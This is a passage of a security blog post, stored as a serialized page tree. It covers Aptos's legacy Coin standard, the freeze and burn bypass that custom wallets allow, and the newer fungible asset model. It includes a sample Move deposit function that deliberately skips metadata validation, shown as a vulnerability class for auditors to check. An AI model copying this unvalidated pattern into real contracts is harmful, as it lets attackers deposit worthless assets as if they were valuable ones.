of.",{"src":60426,"width":4838,"height":4839},"/posts/aptos-guide/title.png","2025-02-10",[5336],{"type":20,"children":60430,"toc":67131},[60431,60444,60449,60458,60464,60492,60565,60605,60639,60800,60819,60900,60940,60968,60985,60990,60998,61003,61009,61030,61110,61143,61151,61164,61169,61553,61558,61563,61569,61574,61586,61690,61728,61731,61749,62057,62062,62074,62080,62106,62127,62132,62311,62331,62337,62357,62369,62374,62380,62392,62455,62482,62506,62727,62730,62749,62859,62916,63052,63079,63085,63111,63355,63383,63685,63718,63732,63758,63791,64098,64110,64387,64401,64718,64737,64743,64775,64815,64916,64936,65056,65073,65147,65159,65247,65268,65274,65279,65284,65301,65322,65693,65752,65757,66208,66213,66249,66255,66267,66289,66315,66522,66536,66791,66803,66830,66981,67000,67030,67034,67045,67050,67063,67127],{"type":23,"tag":24,"props":60432,"children":60433},{},[60434,60436,60442],{"type":28,"value":60435},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":23,"tag":92,"props":60437,"children":60439},{"className":60438},[],[60440],{"type":28,"value":60441},"coin",{"type":28,"value":60443}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":23,"tag":24,"props":60445,"children":60446},{},[60447],{"type":28,"value":60448},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":23,"tag":60450,"props":60451,"children":60452},"important",{},[60453],{"type":23,"tag":24,"props":60454,"children":60455},{},[60456],{"type":28,"value":60457},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":23,"tag":61,"props":60459,"children":60461},{"id":60460},"aptos-coin-standard",[60462],{"type":28,"value":60463},"Aptos Coin standard",{"type":23,"tag":24,"props":60465,"children":60466},{},[60467,60469,60475,60477,60482,60483,60490],{"type":28,"value":60468},"In the beginning, Aptos used ",{"type":23,"tag":92,"props":60470,"children":60472},{"className":60471},[],[60473],{"type":28,"value":60474},"Coin",{"type":28,"value":60476},". It is still in use, although it is now considered \"legacy\". ",{"type":23,"tag":92,"props":60478,"children":60480},{"className":60479},[],[60481],{"type":28,"value":60474},{"type":28,"value":4956},{"type":23,"tag":31,"props":60484,"children":60487},{"href":60485,"rel":60486},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[35],[60488],{"type":28,"value":60489},"defined",{"type":28,"value":60491}," in Aptos as follows:",{"type":23,"tag":87,"props":60493,"children":60495},{"className":128,"code":60494,"language":127,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[60496],{"type":23,"tag":92,"props":60497,"children":60498},{"__ignoreMap":7},[60499,60538,60558],{"type":23,"tag":134,"props":60500,"children":60501},{"class":136,"line":137},[60502,60506,60510,60514,60518,60522,60526,60530,60534],{"type":23,"tag":134,"props":60503,"children":60504},{"style":151},[60505],{"type":28,"value":8864},{"type":23,"tag":134,"props":60507,"children":60508},{"style":597},[60509],{"type":28,"value":5257},{"type":23,"tag":134,"props":60511,"children":60512},{"style":179},[60513],{"type":28,"value":5262},{"type":23,"tag":134,"props":60515,"children":60516},{"style":162},[60517],{"type":28,"value":5267},{"type":23,"tag":134,"props":60519,"children":60520},{"style":597},[60521],{"type":28,"value":5272},{"type":23,"tag":134,"props":60523,"children":60524},{"style":179},[60525],{"type":28,"value":5277},{"type":23,"tag":134,"props":60527,"children":60528},{"style":162},[60529],{"type":28,"value":5282},{"type":23,"tag":134,"props":60531,"children":60532},{"style":162},[60533],{"type":28,"value":5287},{"type":23,"tag":134,"props":60535,"children":60536},{"style":179},[60537],{"type":28,"value":463},{"type":23,"tag":134,"props":60539,"children":60540},{"class":136,"line":147},[60541,60546,60550,60554],{"type":23,"tag":134,"props":60542,"children":60543},{"style":162},[60544],{"type":28,"value":60545},"    value",{"type":23,"tag":134,"props":60547,"children":60548},{"style":168},[60549],{"type":28,"value":1697},{"type":23,"tag":134,"props":60551,"children":60552},{"style":597},[60553],{"type":28,"value":5316},{"type":23,"tag":134,"props":60555,"children":60556},{"style":179},[60557],{"type":28,"value":687},{"type":23,"tag":134,"props":60559,"children":60560},{"class":136,"line":185},[60561],{"type":23,"tag":134,"props":60562,"children":60563},{"style":179},[60564],{"type":28,"value":1098},{"type":23,"tag":24,"props":60566,"children":60567},{},[60568,60570,60575,60577,60583,60584,60590,60592,60597,60599,60604],{"type":28,"value":60569},"Aptos distinguishes coins by their type (",{"type":23,"tag":92,"props":60571,"children":60573},{"className":60572},[],[60574],{"type":28,"value":6041},{"type":28,"value":60576},") at compile time. For example, ",{"type":23,"tag":92,"props":60578,"children":60580},{"className":60579},[],[60581],{"type":28,"value":60582},"Coin\u003COtter>",{"type":28,"value":10458},{"type":23,"tag":92,"props":60585,"children":60587},{"className":60586},[],[60588],{"type":28,"value":60589},"Coin\u003CWeasel>",{"type":28,"value":60591}," represent different coins, and you cannot pass a ",{"type":23,"tag":92,"props":60593,"children":60595},{"className":60594},[],[60596],{"type":28,"value":60589},{"type":28,"value":60598}," to a function expecting ",{"type":23,"tag":92,"props":60600,"children":60602},{"className":60601},[],[60603],{"type":28,"value":60582},{"type":28,"value":720},{"type":23,"tag":24,"props":60606,"children":60607},{},[60608,60610,60615,60617,60622,60624,60629,60631,60637],{"type":28,"value":60609},"The type signature reveals why ",{"type":23,"tag":92,"props":60611,"children":60613},{"className":60612},[],[60614],{"type":28,"value":60474},{"type":28,"value":60616}," has become a legacy standard. ",{"type":23,"tag":92,"props":60618,"children":60620},{"className":60619},[],[60621],{"type":28,"value":60474},{"type":28,"value":60623}," has only the ",{"type":23,"tag":92,"props":60625,"children":60627},{"className":60626},[],[60628],{"type":28,"value":5397},{"type":28,"value":60630}," ability and uses a ",{"type":23,"tag":92,"props":60632,"children":60634},{"className":60633},[],[60635],{"type":28,"value":60636},"CoinStore",{"type":28,"value":60638}," wrapper to store the coin and metadata:",{"type":23,"tag":87,"props":60640,"children":60642},{"className":128,"code":60641,"language":127,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[60643],{"type":23,"tag":92,"props":60644,"children":60645},{"__ignoreMap":7},[60646,60686,60714,60734,60764,60793],{"type":23,"tag":134,"props":60647,"children":60648},{"class":136,"line":137},[60649,60653,60658,60662,60666,60670,60674,60678,60682],{"type":23,"tag":134,"props":60650,"children":60651},{"style":151},[60652],{"type":28,"value":8864},{"type":23,"tag":134,"props":60654,"children":60655},{"style":597},[60656],{"type":28,"value":60657}," CoinStore",{"type":23,"tag":134,"props":60659,"children":60660},{"style":179},[60661],{"type":28,"value":5262},{"type":23,"tag":134,"props":60663,"children":60664},{"style":162},[60665],{"type":28,"value":5267},{"type":23,"tag":134,"props":60667,"children":60668},{"style":597},[60669],{"type":28,"value":5272},{"type":23,"tag":134,"props":60671,"children":60672},{"style":179},[60673],{"type":28,"value":5277},{"type":23,"tag":134,"props":60675,"children":60676},{"style":162},[60677],{"type":28,"value":5282},{"type":23,"tag":134,"props":60679,"children":60680},{"style":162},[60681],{"type":28,"value":5388},{"type":23,"tag":134,"props":60683,"children":60684},{"style":179},[60685],{"type":28,"value":463},{"type":23,"tag":134,"props":60687,"children":60688},{"class":136,"line":147},[60689,60694,60698,60702,60706,60710],{"type":23,"tag":134,"props":60690,"children":60691},{"style":162},[60692],{"type":28,"value":60693},"    coin",{"type":23,"tag":134,"props":60695,"children":60696},{"style":168},[60697],{"type":28,"value":1697},{"type":23,"tag":134,"props":60699,"children":60700},{"style":597},[60701],{"type":28,"value":5257},{"type":23,"tag":134,"props":60703,"children":60704},{"style":179},[60705],{"type":28,"value":5262},{"type":23,"tag":134,"props":60707,"children":60708},{"style":597},[60709],{"type":28,"value":6041},{"type":23,"tag":134,"props":60711,"children":60712},{"style":179},[60713],{"type":28,"value":5595},{"type":23,"tag":134,"props":60715,"children":60716},{"class":136,"line":185},[60717,60722,60726,60730],{"type":23,"tag":134,"props":60718,"children":60719},{"style":162},[60720],{"type":28,"value":60721},"    frozen",{"type":23,"tag":134,"props":60723,"children":60724},{"style":168},[60725],{"type":28,"value":1697},{"type":23,"tag":134,"props":60727,"children":60728},{"style":597},[60729],{"type":28,"value":11517},{"type":23,"tag":134,"props":60731,"children":60732},{"style":179},[60733],{"type":28,"value":687},{"type":23,"tag":134,"props":60735,"children":60736},{"class":136,"line":221},[60737,60742,60746,60751,60755,60760],{"type":23,"tag":134,"props":60738,"children":60739},{"style":162},[60740],{"type":28,"value":60741},"    deposit_events",{"type":23,"tag":134,"props":60743,"children":60744},{"style":168},[60745],{"type":28,"value":1697},{"type":23,"tag":134,"props":60747,"children":60748},{"style":597},[60749],{"type":28,"value":60750}," EventHandle",{"type":23,"tag":134,"props":60752,"children":60753},{"style":179},[60754],{"type":28,"value":5262},{"type":23,"tag":134,"props":60756,"children":60757},{"style":597},[60758],{"type":28,"value":60759},"DepositEvent",{"type":23,"tag":134,"props":60761,"children":60762},{"style":179},[60763],{"type":28,"value":5595},{"type":23,"tag":134,"props":60765,"children":60766},{"class":136,"line":332},[60767,60772,60776,60780,60784,60789],{"type":23,"tag":134,"props":60768,"children":60769},{"style":162},[60770],{"type":28,"value":60771},"    withdraw_events",{"type":23,"tag":134,"props":60773,"children":60774},{"style":168},[60775],{"type":28,"value":1697},{"type":23,"tag":134,"props":60777,"children":60778},{"style":597},[60779],{"type":28,"value":60750},{"type":23,"tag":134,"props":60781,"children":60782},{"style":179},[60783],{"type":28,"value":5262},{"type":23,"tag":134,"props":60785,"children":60786},{"style":597},[60787],{"type":28,"value":60788},"WithdrawEvent",{"type":23,"tag":134,"props":60790,"children":60791},{"style":179},[60792],{"type":28,"value":5595},{"type":23,"tag":134,"props":60794,"children":60795},{"class":136,"line":438},[60796],{"type":23,"tag":134,"props":60797,"children":60798},{"style":179},[60799],{"type":28,"value":1098},{"type":23,"tag":24,"props":60801,"children":60802},{},[60803,60805,60810,60812,60817],{"type":28,"value":60804},"However, an astute reader would note that this isn't the only place a ",{"type":23,"tag":92,"props":60806,"children":60808},{"className":60807},[],[60809],{"type":28,"value":60474},{"type":28,"value":60811}," can be stored. You can create your own ",{"type":23,"tag":92,"props":60813,"children":60815},{"className":60814},[],[60816],{"type":28,"value":60474},{"type":28,"value":60818}," wallet, which could look like this:",{"type":23,"tag":87,"props":60820,"children":60822},{"className":128,"code":60821,"language":127,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[60823],{"type":23,"tag":92,"props":60824,"children":60825},{"__ignoreMap":7},[60826,60866,60893],{"type":23,"tag":134,"props":60827,"children":60828},{"class":136,"line":137},[60829,60833,60838,60842,60846,60850,60854,60858,60862],{"type":23,"tag":134,"props":60830,"children":60831},{"style":151},[60832],{"type":28,"value":8864},{"type":23,"tag":134,"props":60834,"children":60835},{"style":597},[60836],{"type":28,"value":60837}," DefinitelyLegitCoinStore",{"type":23,"tag":134,"props":60839,"children":60840},{"style":179},[60841],{"type":28,"value":5262},{"type":23,"tag":134,"props":60843,"children":60844},{"style":162},[60845],{"type":28,"value":5267},{"type":23,"tag":134,"props":60847,"children":60848},{"style":597},[60849],{"type":28,"value":5272},{"type":23,"tag":134,"props":60851,"children":60852},{"style":179},[60853],{"type":28,"value":5277},{"type":23,"tag":134,"props":60855,"children":60856},{"style":162},[60857],{"type":28,"value":5282},{"type":23,"tag":134,"props":60859,"children":60860},{"style":162},[60861],{"type":28,"value":5388},{"type":23,"tag":134,"props":60863,"children":60864},{"style":179},[60865],{"type":28,"value":463},{"type":23,"tag":134,"props":60867,"children":60868},{"class":136,"line":147},[60869,60873,60877,60881,60885,60889],{"type":23,"tag":134,"props":60870,"children":60871},{"style":162},[60872],{"type":28,"value":60693},{"type":23,"tag":134,"props":60874,"children":60875},{"style":168},[60876],{"type":28,"value":1697},{"type":23,"tag":134,"props":60878,"children":60879},{"style":597},[60880],{"type":28,"value":5257},{"type":23,"tag":134,"props":60882,"children":60883},{"style":179},[60884],{"type":28,"value":5262},{"type":23,"tag":134,"props":60886,"children":60887},{"style":597},[60888],{"type":28,"value":6041},{"type":23,"tag":134,"props":60890,"children":60891},{"style":179},[60892],{"type":28,"value":5449},{"type":23,"tag":134,"props":60894,"children":60895},{"class":136,"line":185},[60896],{"type":23,"tag":134,"props":60897,"children":60898},{"style":179},[60899],{"type":28,"value":1098},{"type":23,"tag":24,"props":60901,"children":60902},{},[60903,60908,60910,60916,60918,60923,60925,60931,60933,60938],{"type":23,"tag":92,"props":60904,"children":60906},{"className":60905},[],[60907],{"type":28,"value":60636},{"type":28,"value":60909}," includes a ",{"type":23,"tag":92,"props":60911,"children":60913},{"className":60912},[],[60914],{"type":28,"value":60915},"frozen",{"type":28,"value":60917}," field, allowing the issuer to block transfers to and from the store. ",{"type":23,"tag":92,"props":60919,"children":60921},{"className":60920},[],[60922],{"type":28,"value":60636},{"type":28,"value":60924}," is also required for a ",{"type":23,"tag":92,"props":60926,"children":60928},{"className":60927},[],[60929],{"type":28,"value":60930},"burn_from",{"type":28,"value":60932}," operation, which withdraws the ",{"type":23,"tag":92,"props":60934,"children":60936},{"className":60935},[],[60937],{"type":28,"value":60441},{"type":28,"value":60939}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":23,"tag":24,"props":60941,"children":60942},{},[60943,60945,60950,60952,60959,60961,60966],{"type":28,"value":60944},"Storing ",{"type":23,"tag":92,"props":60946,"children":60948},{"className":60947},[],[60949],{"type":28,"value":60441},{"type":28,"value":60951}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":23,"tag":31,"props":60953,"children":60956},{"href":60954,"rel":60955},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[35],[60957],{"type":28,"value":60958},"AIP-21",{"type":28,"value":60960}," summarizes the ",{"type":23,"tag":92,"props":60962,"children":60964},{"className":60963},[],[60965],{"type":28,"value":60441},{"type":28,"value":60967}," problems:",{"type":23,"tag":78,"props":60969,"children":60970},{},[60971,60980],{"type":23,"tag":24,"props":60972,"children":60973},{},[60974,60978],{"type":23,"tag":134,"props":60975,"children":60976},{},[60977],{"type":28,"value":9054},{"type":28,"value":60979}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":23,"tag":24,"props":60981,"children":60982},{},[60983],{"type":28,"value":60984},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":23,"tag":24,"props":60986,"children":60987},{},[60988],{"type":28,"value":60989},"And declares, that:",{"type":23,"tag":78,"props":60991,"children":60992},{},[60993],{"type":23,"tag":24,"props":60994,"children":60995},{},[60996],{"type":28,"value":60997},"Fungible assets addresses these issues.",{"type":23,"tag":24,"props":60999,"children":61000},{},[61001],{"type":28,"value":61002},"Let's find out whether this is indeed the case.",{"type":23,"tag":61,"props":61004,"children":61006},{"id":61005},"the-fungible-assets",[61007],{"type":28,"value":61008},"The fungible assets",{"type":23,"tag":24,"props":61010,"children":61011},{},[61012,61014,61020,61022,61029],{"type":28,"value":61013},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":23,"tag":92,"props":61015,"children":61017},{"className":61016},[],[61018],{"type":28,"value":61019},"FungibleAsset",{"type":28,"value":61021}," uses the ",{"type":23,"tag":31,"props":61023,"children":61026},{"href":61024,"rel":61025},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[35],[61027],{"type":28,"value":61028},"hot-potato pattern",{"type":28,"value":1697},{"type":23,"tag":87,"props":61031,"children":61033},{"className":128,"code":61032,"language":127,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[61034],{"type":23,"tag":92,"props":61035,"children":61036},{"__ignoreMap":7},[61037,61053,61083,61103],{"type":23,"tag":134,"props":61038,"children":61039},{"class":136,"line":137},[61040,61044,61049],{"type":23,"tag":134,"props":61041,"children":61042},{"style":151},[61043],{"type":28,"value":8864},{"type":23,"tag":134,"props":61045,"children":61046},{"style":597},[61047],{"type":28,"value":61048}," FungibleAsset",{"type":23,"tag":134,"props":61050,"children":61051},{"style":179},[61052],{"type":28,"value":463},{"type":23,"tag":134,"props":61054,"children":61055},{"class":136,"line":147},[61056,61061,61065,61070,61074,61079],{"type":23,"tag":134,"props":61057,"children":61058},{"style":162},[61059],{"type":28,"value":61060},"    metadata",{"type":23,"tag":134,"props":61062,"children":61063},{"style":168},[61064],{"type":28,"value":1697},{"type":23,"tag":134,"props":61066,"children":61067},{"style":597},[61068],{"type":28,"value":61069}," Object",{"type":23,"tag":134,"props":61071,"children":61072},{"style":179},[61073],{"type":28,"value":5262},{"type":23,"tag":134,"props":61075,"children":61076},{"style":597},[61077],{"type":28,"value":61078},"Metadata",{"type":23,"tag":134,"props":61080,"children":61081},{"style":179},[61082],{"type":28,"value":5595},{"type":23,"tag":134,"props":61084,"children":61085},{"class":136,"line":185},[61086,61091,61095,61099],{"type":23,"tag":134,"props":61087,"children":61088},{"style":162},[61089],{"type":28,"value":61090},"    amount",{"type":23,"tag":134,"props":61092,"children":61093},{"style":168},[61094],{"type":28,"value":1697},{"type":23,"tag":134,"props":61096,"children":61097},{"style":597},[61098],{"type":28,"value":5316},{"type":23,"tag":134,"props":61100,"children":61101},{"style":179},[61102],{"type":28,"value":687},{"type":23,"tag":134,"props":61104,"children":61105},{"class":136,"line":221},[61106],{"type":23,"tag":134,"props":61107,"children":61108},{"style":179},[61109],{"type":28,"value":1098},{"type":23,"tag":24,"props":61111,"children":61112},{},[61113,61115,61120,61121,61126,61128,61133,61135,61142],{"type":28,"value":61114},"Unlike ",{"type":23,"tag":92,"props":61116,"children":61118},{"className":61117},[],[61119],{"type":28,"value":60474},{"type":28,"value":242},{"type":23,"tag":92,"props":61122,"children":61124},{"className":61123},[],[61125],{"type":28,"value":61019},{"type":28,"value":61127}," types are defined at runtime through the ",{"type":23,"tag":92,"props":61129,"children":61131},{"className":61130},[],[61132],{"type":28,"value":61078},{"type":28,"value":61134}," field. This change was meant to ",{"type":23,"tag":31,"props":61136,"children":61139},{"href":61137,"rel":61138},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[35],[61140],{"type":28,"value":61141},"enhance extensibility",{"type":28,"value":1697},{"type":23,"tag":78,"props":61144,"children":61145},{},[61146],{"type":23,"tag":24,"props":61147,"children":61148},{},[61149],{"type":28,"value":61150},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":23,"tag":24,"props":61152,"children":61153},{},[61154,61156,61162],{"type":28,"value":61155},"An important implication is that functions accepting ",{"type":23,"tag":92,"props":61157,"children":61159},{"className":61158},[],[61160],{"type":28,"value":61161},"FungibleAssets",{"type":28,"value":61163}," must verify the metadata to ensure valid assets.",{"type":23,"tag":24,"props":61165,"children":61166},{},[61167],{"type":28,"value":61168},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":23,"tag":87,"props":61170,"children":61172},{"className":128,"code":61171,"language":127,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[61173],{"type":23,"tag":92,"props":61174,"children":61175},{"__ignoreMap":7},[61176,61213,61251,61275,61287,61295,61340,61374,61404,61411,61448,61455,61493,61500,61546],{"type":23,"tag":134,"props":61177,"children":61178},{"class":136,"line":137},[61179,61184,61188,61193,61197,61201,61205,61209],{"type":23,"tag":134,"props":61180,"children":61181},{"style":162},[61182],{"type":28,"value":61183},"public",{"type":23,"tag":134,"props":61185,"children":61186},{"style":162},[61187],{"type":28,"value":5664},{"type":23,"tag":134,"props":61189,"children":61190},{"style":162},[61191],{"type":28,"value":61192}," deposit",{"type":23,"tag":134,"props":61194,"children":61195},{"style":179},[61196],{"type":28,"value":5262},{"type":23,"tag":134,"props":61198,"children":61199},{"style":597},[61200],{"type":28,"value":5444},{"type":23,"tag":134,"props":61202,"children":61203},{"style":168},[61204],{"type":28,"value":1697},{"type":23,"tag":134,"props":61206,"children":61207},{"style":162},[61208],{"type":28,"value":5388},{"type":23,"tag":134,"props":61210,"children":61211},{"style":179},[61212],{"type":28,"value":6046},{"type":23,"tag":134,"props":61214,"children":61215},{"class":136,"line":147},[61216,61221,61225,61229,61233,61237,61242,61246],{"type":23,"tag":134,"props":61217,"children":61218},{"style":162},[61219],{"type":28,"value":61220},"    sender",{"type":23,"tag":134,"props":61222,"children":61223},{"style":168},[61224],{"type":28,"value":1697},{"type":23,"tag":134,"props":61226,"children":61227},{"style":168},[61228],{"type":28,"value":6599},{"type":23,"tag":134,"props":61230,"children":61231},{"style":162},[61232],{"type":28,"value":6604},{"type":23,"tag":134,"props":61234,"children":61235},{"style":179},[61236],{"type":28,"value":242},{"type":23,"tag":134,"props":61238,"children":61239},{"style":162},[61240],{"type":28,"value":61241},"fa",{"type":23,"tag":134,"props":61243,"children":61244},{"style":168},[61245],{"type":28,"value":1697},{"type":23,"tag":134,"props":61247,"children":61248},{"style":597},[61249],{"type":28,"value":61250}," FungibleAsset\n",{"type":23,"tag":134,"props":61252,"children":61253},{"class":136,"line":185},[61254,61258,61262,61266,61270],{"type":23,"tag":134,"props":61255,"children":61256},{"style":179},[61257],{"type":28,"value":252},{"type":23,"tag":134,"props":61259,"children":61260},{"style":162},[61261],{"type":28,"value":5801},{"type":23,"tag":134,"props":61263,"children":61264},{"style":179},[61265],{"type":28,"value":22511},{"type":23,"tag":134,"props":61267,"children":61268},{"style":168},[61269],{"type":28,"value":9054},{"type":23,"tag":134,"props":61271,"children":61272},{"style":179},[61273],{"type":28,"value":61274},"] {\n",{"type":23,"tag":134,"props":61276,"children":61277},{"class":136,"line":221},[61278,61283],{"type":23,"tag":134,"props":61279,"children":61280},{"style":264},[61281],{"type":28,"value":61282},"    assert_not_paused",{"type":23,"tag":134,"props":61284,"children":61285},{"style":179},[61286],{"type":28,"value":856},{"type":23,"tag":134,"props":61288,"children":61289},{"class":136,"line":332},[61290],{"type":23,"tag":134,"props":61291,"children":61292},{"style":179},[61293],{"type":28,"value":61294},"    \n",{"type":23,"tag":134,"props":61296,"children":61297},{"class":136,"line":438},[61298,61302,61307,61311,61316,61320,61324,61328,61332,61336],{"type":23,"tag":134,"props":61299,"children":61300},{"style":151},[61301],{"type":28,"value":154},{"type":23,"tag":134,"props":61303,"children":61304},{"style":162},[61305],{"type":28,"value":61306}," fa_amount",{"type":23,"tag":134,"props":61308,"children":61309},{"style":168},[61310],{"type":28,"value":171},{"type":23,"tag":134,"props":61312,"children":61313},{"style":179},[61314],{"type":28,"value":61315}," fungible_asset",{"type":23,"tag":134,"props":61317,"children":61318},{"style":168},[61319],{"type":28,"value":660},{"type":23,"tag":134,"props":61321,"children":61322},{"style":264},[61323],{"type":28,"value":19784},{"type":23,"tag":134,"props":61325,"children":61326},{"style":179},[61327],{"type":28,"value":272},{"type":23,"tag":134,"props":61329,"children":61330},{"style":168},[61331],{"type":28,"value":277},{"type":23,"tag":134,"props":61333,"children":61334},{"style":162},[61335],{"type":28,"value":61241},{"type":23,"tag":134,"props":61337,"children":61338},{"style":179},[61339],{"type":28,"value":1021},{"type":23,"tag":134,"props":61341,"children":61342},{"class":136,"line":466},[61343,61347,61352,61356,61361,61365,61370],{"type":23,"tag":134,"props":61344,"children":61345},{"style":151},[61346],{"type":28,"value":154},{"type":23,"tag":134,"props":61348,"children":61349},{"style":162},[61350],{"type":28,"value":61351}," sender_address",{"type":23,"tag":134,"props":61353,"children":61354},{"style":168},[61355],{"type":28,"value":171},{"type":23,"tag":134,"props":61357,"children":61358},{"style":264},[61359],{"type":28,"value":61360}," address_of",{"type":23,"tag":134,"props":61362,"children":61363},{"style":179},[61364],{"type":28,"value":272},{"type":23,"tag":134,"props":61366,"children":61367},{"style":162},[61368],{"type":28,"value":61369},"sender",{"type":23,"tag":134,"props":61371,"children":61372},{"style":179},[61373],{"type":28,"value":1021},{"type":23,"tag":134,"props":61375,"children":61376},{"class":136,"line":479},[61377,61382,61386,61391,61395,61400],{"type":23,"tag":134,"props":61378,"children":61379},{"style":264},[61380],{"type":28,"value":61381},"    check_compliance",{"type":23,"tag":134,"props":61383,"children":61384},{"style":179},[61385],{"type":28,"value":272},{"type":23,"tag":134,"props":61387,"children":61388},{"style":162},[61389],{"type":28,"value":61390},"fa_amount",{"type":23,"tag":134,"props":61392,"children":61393},{"style":179},[61394],{"type":28,"value":242},{"type":23,"tag":134,"props":61396,"children":61397},{"style":162},[61398],{"type":28,"value":61399},"sender_address",{"type":23,"tag":134,"props":61401,"children":61402},{"style":179},[61403],{"type":28,"value":1021},{"type":23,"tag":134,"props":61405,"children":61406},{"class":136,"line":497},[61407],{"type":23,"tag":134,"props":61408,"children":61409},{"style":179},[61410],{"type":28,"value":61294},{"type":23,"tag":134,"props":61412,"children":61413},{"class":136,"line":518},[61414,61419,61423,61428,61432,61436,61440,61444],{"type":23,"tag":134,"props":61415,"children":61416},{"style":264},[61417],{"type":28,"value":61418},"    increase_deposit",{"type":23,"tag":134,"props":61420,"children":61421},{"style":179},[61422],{"type":28,"value":272},{"type":23,"tag":134,"props":61424,"children":61425},{"style":264},[61426],{"type":28,"value":61427},"get_vault",{"type":23,"tag":134,"props":61429,"children":61430},{"style":179},[61431],{"type":28,"value":272},{"type":23,"tag":134,"props":61433,"children":61434},{"style":162},[61435],{"type":28,"value":61399},{"type":23,"tag":134,"props":61437,"children":61438},{"style":179},[61439],{"type":28,"value":14646},{"type":23,"tag":134,"props":61441,"children":61442},{"style":162},[61443],{"type":28,"value":61390},{"type":23,"tag":134,"props":61445,"children":61446},{"style":179},[61447],{"type":28,"value":1021},{"type":23,"tag":134,"props":61449,"children":61450},{"class":136,"line":527},[61451],{"type":23,"tag":134,"props":61452,"children":61453},{"style":179},[61454],{"type":28,"value":61294},{"type":23,"tag":134,"props":61456,"children":61457},{"class":136,"line":780},[61458,61463,61467,61472,61476,61481,61485,61489],{"type":23,"tag":134,"props":61459,"children":61460},{"style":179},[61461],{"type":28,"value":61462},"    primary_fungible_store",{"type":23,"tag":134,"props":61464,"children":61465},{"style":168},[61466],{"type":28,"value":660},{"type":23,"tag":134,"props":61468,"children":61469},{"style":264},[61470],{"type":28,"value":61471},"deposit",{"type":23,"tag":134,"props":61473,"children":61474},{"style":179},[61475],{"type":28,"value":272},{"type":23,"tag":134,"props":61477,"children":61478},{"style":264},[61479],{"type":28,"value":61480},"global_vault_address",{"type":23,"tag":134,"props":61482,"children":61483},{"style":179},[61484],{"type":28,"value":17849},{"type":23,"tag":134,"props":61486,"children":61487},{"style":162},[61488],{"type":28,"value":61241},{"type":23,"tag":134,"props":61490,"children":61491},{"style":179},[61492],{"type":28,"value":1021},{"type":23,"tag":134,"props":61494,"children":61495},{"class":136,"line":797},[61496],{"type":23,"tag":134,"props":61497,"children":61498},{"style":179},[61499],{"type":28,"value":61294},{"type":23,"tag":134,"props":61501,"children":61502},{"class":136,"line":814},[61503,61508,61512,61517,61521,61526,61530,61534,61538,61542],{"type":23,"tag":134,"props":61504,"children":61505},{"style":179},[61506],{"type":28,"value":61507},"    event",{"type":23,"tag":134,"props":61509,"children":61510},{"style":168},[61511],{"type":28,"value":660},{"type":23,"tag":134,"props":61513,"children":61514},{"style":264},[61515],{"type":28,"value":61516},"emit",{"type":23,"tag":134,"props":61518,"children":61519},{"style":179},[61520],{"type":28,"value":272},{"type":23,"tag":134,"props":61522,"children":61523},{"style":597},[61524],{"type":28,"value":61525},"Deposit",{"type":23,"tag":134,"props":61527,"children":61528},{"style":179},[61529],{"type":28,"value":44721},{"type":23,"tag":134,"props":61531,"children":61532},{"style":162},[61533],{"type":28,"value":61399},{"type":23,"tag":134,"props":61535,"children":61536},{"style":179},[61537],{"type":28,"value":242},{"type":23,"tag":134,"props":61539,"children":61540},{"style":162},[61541],{"type":28,"value":61390},{"type":23,"tag":134,"props":61543,"children":61544},{"style":179},[61545],{"type":28,"value":32518},{"type":23,"tag":134,"props":61547,"children":61548},{"class":136,"line":827},[61549],{"type":23,"tag":134,"props":61550,"children":61551},{"style":179},[61552],{"type":28,"value":1098},{"type":23,"tag":24,"props":61554,"children":61555},{},[61556],{"type":28,"value":61557},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":23,"tag":24,"props":61559,"children":61560},{},[61561],{"type":28,"value":61562},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":23,"tag":61,"props":61564,"children":61566},{"id":61565},"fungible-stores",[61567],{"type":28,"value":61568},"Fungible 